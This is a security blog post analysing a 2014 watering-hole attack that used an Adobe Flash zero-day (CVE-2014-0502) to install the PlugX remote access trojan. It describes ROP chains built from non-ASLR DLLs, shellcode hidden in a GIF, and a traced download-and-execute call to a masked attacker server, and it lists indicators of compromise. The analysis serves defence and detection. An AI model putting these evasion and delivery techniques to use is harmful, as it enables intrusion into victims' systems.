Analysis of an attack exploiting the Adobe Zero-day - CVE-2014-0502

February 21, 2014  |  Jaime Blasco

Yesterday FireEye reported about a new Zero-Day affecting Adobe Flash that is being exploited in the wild and Adobe issued a security update regarding the vulnerability.

Several websistes were redirecting visitors to a malicious server containing the exploit including:

  • Peterson Institute for International Economics
  • American Research Center in Egypt
  • Smith Richardson Foundation

as reported by FireEye.

The malicious Flash file is hosted on http://4.59.XXX.XX/common/cc.swf

The Flash file contains some interesting debug symbols:

C:\Users\007\Desktop\FlashExp(ie)\src\cc.as

The ActionScript code inside the Flash file is reponsible for determining the operating system and selecting the hard-coded ROP chains to bypass ASLR.

For Windows XP it first checks the language and only contains ROP chains to target the following languages:

  • English
  • Chinese

In this case (Windows XP) the ROP chain is built using msvcrt.dll that is a well known technique.

If the system is running Windows 7:

  • It checks if the system has Java 1.6 or Java 1.7 installed.
    • If it runs Java 1.6 it uses the ROP chain for msvcr71.dll that is shipped with Java 1.6 and it is not protected by ASLR.
       
  • It checks if the system has Microsoft Office 2007 or 2010
    • If it does, it builds the ROP chain using hxds.dll that is shipped with Microsoft Office 2007/2010 and it is not protected by ASLR.
    • In order to load hxds.dll it uses the protocol handler location.href = 'ms-help:', a technique commonly seen in these kind of exploits.

The ActionScript code is also responsible of downloading a GIF file:

The download file is a valid image as we can see:

 

But it also contains a shellcode at offset 3344 that downloads and execute a PE32 file from the same server:

Extracting the shellcode from the valid image file is a clever technique since it is likely to bypass most of the network security products.

The shellcode performs the following actions to download and execute PE32 file:

    LoadLibraryA(wininet)

    LoadLibraryA(user32)

    VirtualProtect(adr=404bf1, sz=4, flags=40)

    SetUnhandledExceptionFilter(0)

    VirtualProtect(adr=7c81cdda, sz=82, flags=40)

    VirtualProtect(adr=7c81cdda, sz=82, flags=0)

    SetUnhandledExceptionFilter(7c81cdda)

    GetTempPath(len=104, buf=12fca4) = 14

    GetTempFileName(path=C:\users\jaime\Temp\, prefix=0, unique=0, buf=12fca4) = 245D

     Path = C:\users\jaime\Temp\245d.tmp

    InternetOpenA()

    InternetOpenUrlA(http://4.59.XX.XX/common/update.exe)

    CreateFileA(C:\users\jaime\Temp\245d.tmp) = 4

    InternetReadFile(1, buf: 12fbe8, size: 64)

    InternetCloseHandle(1) = 1

    InternetCloseHandle(1) = 1

    CloseHandle(4)

The payload used in this attack is the infamous PlugX RAT (Remote Access Tool) that we have blogged about before.

The malware copy itself into \All Users\DRM\RasTls\RasTls.exe

It creates the following mutexes during execution:

  • \BaseNamedObjects\Global\dklw
  • \BaseNamedObjects\Global\cso
  • \BaseNamedObjects\Global\qemyqvmyhiy
  • \BaseNamedObjects\Global\eriwjjo
  • \BaseNamedObjects\Global\etniisebehheq
  • \BaseNamedObjects\Global\beetxado
  • \BaseNamedObjects\Global\zhyzrjduosfptunf
  • \BaseNamedObjects\Global\zzusnnzeqgzupeto
  • \BaseNamedObjects\Global\onwmkwazrynpn
  • \BaseNamedObjects\Global mtg
  • \BaseNamedObjects\Global\helbibkzhruo
  • \BaseNamedObjects\Global\opylrvflplgad
  • \BaseNamedObjects\Global\zgjawrojchcfavnh
  • \BaseNamedObjects\Global\gmd
  • \BaseNamedObjects\Global\svdwr
  • \BaseNamedObjects\Global\unbdehrrxgqujyazj
  • \BaseNamedObjects\Global\qpl
  • \BaseNamedObjects\Global\ihnwguwceofkhcv
  • \BaseNamedObjects\Global\kvxieoc
  • \BaseNamedObjects\My_Name_horse (Svchost)

and it injects itself into the svchost process.

The PlugX sample contains three different command and control servers:

00903474 -> java[.]ns1[.]name

009034B8 -> adservice[.[no-ip[.]org

009034FC -> wmi[.]ns01[.]us

and communicates via HTTP with the C&C:

Notice that specific C&C domain is sinkholed right now:

To conclude, I don't have to mention that you should apply Adobe's patch as soon as possible as well as update the vulnerable Java and Office versions that are being used to bypass ASLR.

Happy hunting!

Share this with others

Get price Free trial